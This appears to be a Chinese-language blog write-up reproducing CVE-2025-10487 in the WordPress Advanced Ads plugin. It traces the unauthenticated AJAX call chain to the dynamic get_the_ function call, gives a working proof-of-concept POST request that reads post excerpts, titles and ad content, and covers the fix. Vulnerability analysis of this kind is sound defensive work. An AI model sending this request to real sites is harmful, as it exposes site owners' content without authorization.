Wordpress Advanced Ads插件漏洞CVE-2025-10487复现

漏洞描述

The Advanced Ads -- Ad Manager & AdSense plugin for WordPress is

vulnerable to Remote Code Execution in all versions up to, and

including, 2.0.12 via the select_one() function. This is due to the

endpoint not properly restricting access to the AJAX endpoint or

limiting the functions that can be called to safe functions. This

makes it possible for unauthenticated attackers to call arbitrary

functions beginning with get_the_ like get_the_excerpt which can make

information exposure possible.

在 2.0.12 之前(包括 2.0.12)之前的所有版本中,高级广告 - Ad Manager 和 AdSense 插件都容易通过 select_one() 函数进行远程代码执行。这是由于端点没有正确限制对 AJAX 端点的访问或限制可以调用到安全函数的函数。这使得未经身份验证的攻击者可以调用以get_the_开头的任意函数,例如 get_the_excerpt这可以使信息泄露成为可能。

复现环境搭建

虚拟机搭建wordpress后安装 2.0.12版本的Advanced Ads插件

漏洞分析

根据提供的代码和漏洞描述,Advanced Ads 插件中的漏洞位于 wp-content/plugins/advanced-ads/includes/admin/class-ajax.php 文件的 select_one() 函数中。该漏洞允许未经身份验证的攻击者通过 AJAX 端点调用任意以 get_the_ 开头的 WordPress 函数,导致潜在的信息泄露(而非真正的远程代码执行)。以下是详细的漏洞调用链分析:

1. 入口点:公开 AJAX 端点

  • 位置wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:42-43

  • 代码

    php 复制代码
    add_action( 'wp_ajax_advads_ad_select', [ $this, 'ad_select' ] );
    add_action( 'wp_ajax_nopriv_advads_ad_select', [ $this, 'ad_select' ] );
  • 问题wp_ajax_nopriv_advads_ad_select 钩子允许未登录用户访问 ad_select() 方法。没有身份验证检查或速率限制。

2. 处理请求:ad_select() 方法

  • 位置wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:149-194

  • 关键代码

    php 复制代码
    public function ad_select(): void {
        // ... 其他代码 ...
        $defered_ads = Params::request( 'deferedAds', [], FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
        if ( $defered_ads ) {
            // ... 处理 defered_ads ...
            foreach ( $requests as $request ) {
                $result = $this->select_one( $request );  // 调用 select_one
            }
        }
        $response = $this->select_one( $_REQUEST );  // 直接传递 $_REQUEST
        wp_send_json( $response );
    }
  • 问题 :直接将 $_REQUEST(包含用户输入)传递给 select_one(),没有过滤或验证。

3. 核心漏洞:select_one() 方法中的动态函数调用

  • 位置wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:298-362

  • 关键代码

    php 复制代码
    private function select_one( $request ) {
        $method = (string) $request['ad_method'] ?? null;  // 从请求中获取 ad_method
        if ( 'id' === $method ) {
            $method = 'ad';
        }
        $function = "get_the_$method";  // 动态构造函数名
        $id = (string) $request['ad_id'] ?? null;
        // ... 其他代码 ...
        $content = $function( (int) $id, '', $arguments );  // 调用动态函数
        // ... 返回结果 ...
    }
  • 问题

    • $method 来自用户输入($_REQUEST['ad_method']),未进行任何过滤或白名单检查。
    • 通过字符串拼接构造函数名 $function = "get_the_$method",允许调用任意以 get_the_ 开头的函数。
    • 例如,攻击者可设置 ad_method=excerpt,导致调用 get_the_excerpt();或 ad_method=content,调用 get_the_content()



4. 漏洞利用示例

POC:

复制代码
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.6.138
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Cookie: wp-settings-time-1=1762237749; wpforo_read_topics=%7B%221%22%3A%223%22%7D; wpforo_read_forums=%7B%222%22%3A%223%22%2C%221%22%3A%223%22%7D; wp-settings-2=mfold%3Do; wp-settings-time-2=1762311751
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded

action=advads_ad_select&ad_method=excerpt&ad_id=1
  • 请求 :POST 到 /wp-admin/admin-ajax.php?action=advads_ad_select
  • 参数
    • ad_method=excerpt(或任意 get_the_* 函数名,如 titlecontent 等)
    • ad_id=1(有效文章 ID)
  • 结果:返回文章的摘要(excerpt),导致信息泄露。如果文章包含敏感数据,可被利用。

下面的请求获取了文章标题

下面的请求获取了文章摘要

下面的请求获取了广告内容

5. 影响

  • 信息泄露:未授权攻击者可获取文章标题、内容、摘要等信息,广告内容可能包含敏感信息。
  • 局限 :尽管描述为 "远程代码执行",实际仅限于调用 WordPress 的 get_the_* 函数,无法执行任意 PHP 代码。可能通过短代码或特定内容间接执行代码,但通常为信息泄露。
  • CVSS :高严重性(信息泄露,无需认证)。

6. 修复建议

  • select_one() 中添加 $method 的白名单检查,仅允许预定义的安全方法(如 adplacement)。
  • 或移除 wp_ajax_nopriv_advads_ad_select 钩子,限制为登录用户。
  • 添加输入验证和过滤。

把The Advanced Ads -- Ad Manager & AdSense plugin升级到2.0.13或更高版本。

新版插件在select_one方法的function变量赋值前调用了is_entity_allowed方法

is_entity_allowed方法只允许调用get_the_ad、get_the_group、get_the_placement三个方法。

参考链接

相关推荐
天天进步201510 小时前
UI-TARS 源码解析 #10:parse_action 源码解析:如何用 AST 安全解析模型生成的函数调用?
安全·ui
大耳朵-小飞象11 小时前
电力安全运维的智能密码:BACS如何破解设备全生命周期管理难题,让电网安全“看得见、管得住”?
运维·安全·智慧城市·能耗系统·楼宇智控·未来生活
wuhanzhanhui14 小时前
视觉革命与主动安全:2026武汉汽车电子展会定档,看芯片如何定义驾驶
安全·汽车
王维同学16 小时前
[原创][Windows C++]LSA 认证、安全与通知包的注册表枚举
c++·windows·安全
国科安芯18 小时前
星间光链路:AS32S601型抗辐射MCU在空间激光通信终端控制中的技术实现
服务器·网络·单片机·嵌入式硬件·物联网·安全·信息与通信
栩栩云生18 小时前
AI 写代码犯的错,早被写进了错题集
linux·安全·ai编程
huijingjituan19 小时前
新一代IM聊天软件|构建企业专属智能通讯生态
安全·实时互动·即时通讯·极光鸟·灰鲸
其实防守也摸鱼19 小时前
补天SRC新手入门指南:从0到1的漏洞挖掘之路
网络·python·学习·安全·web安全·数据挖掘·挖洞
●VON20 小时前
鸿蒙 PC Markdown 编辑器内部隐私与安全评审
安全·华为·编辑器·harmonyos·鸿蒙
我不是QI20 小时前
一、主持人信息(域名 网站资产情报搜集)原理解析
安全·网络安全